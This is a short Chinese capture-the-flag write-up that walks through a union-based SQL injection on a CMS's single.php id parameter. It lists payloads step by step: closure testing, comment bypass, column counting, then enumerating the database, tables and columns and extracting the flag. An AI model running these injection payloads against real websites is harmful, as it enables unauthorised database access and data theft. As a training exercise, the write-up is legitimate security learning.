题目说该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。访问看一下随便点一个图片。
发现了注入点?id=
那么开始查看闭合符一个 ' 就报错了
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
分析一下就知道就是一个 ' 并且过滤符#被过滤了
所以用 --+ 或者 ;%00 来过滤后面
用 order by 数字 来判断字段发现order by 9成功
order by 10报错,所以字段就是9个
使用payload:?id=-1' union select 1,2,3,4,5,6,7,8,9 ;%00
发现第2个位置有回显
?id=-1' union select 1,database(),3,4,5,6,7,8,9 ;%00
爆出数据库ctf
试了很多写法最后还是发现payload为:?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf';%00
爆出表名titles
?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='titles';%00
接着爆字段,发现爆出来的东西没一点关系(表爆出了一个没用的)
构造payload
?id=-1' union select 1,table_name,3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()limit 10,1 --+
查看后面的表名
从limit 0,1 一直到limit 13,1
一共有14个表
分别为titles、page_hits、membership_userpermissions、membership_groups、blog_categories、membership_userrecords、membership_users、editors_choice、blogs、links、flag、banner_posts、membership_grouppermissions、visitor_info
毫无疑问就flag最像了
接着便是查字段
?id=-1' union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag' --+
查内容
id=1' and 1=2 union select 1,flag,3,4,5,6,7,8,9 from flag --+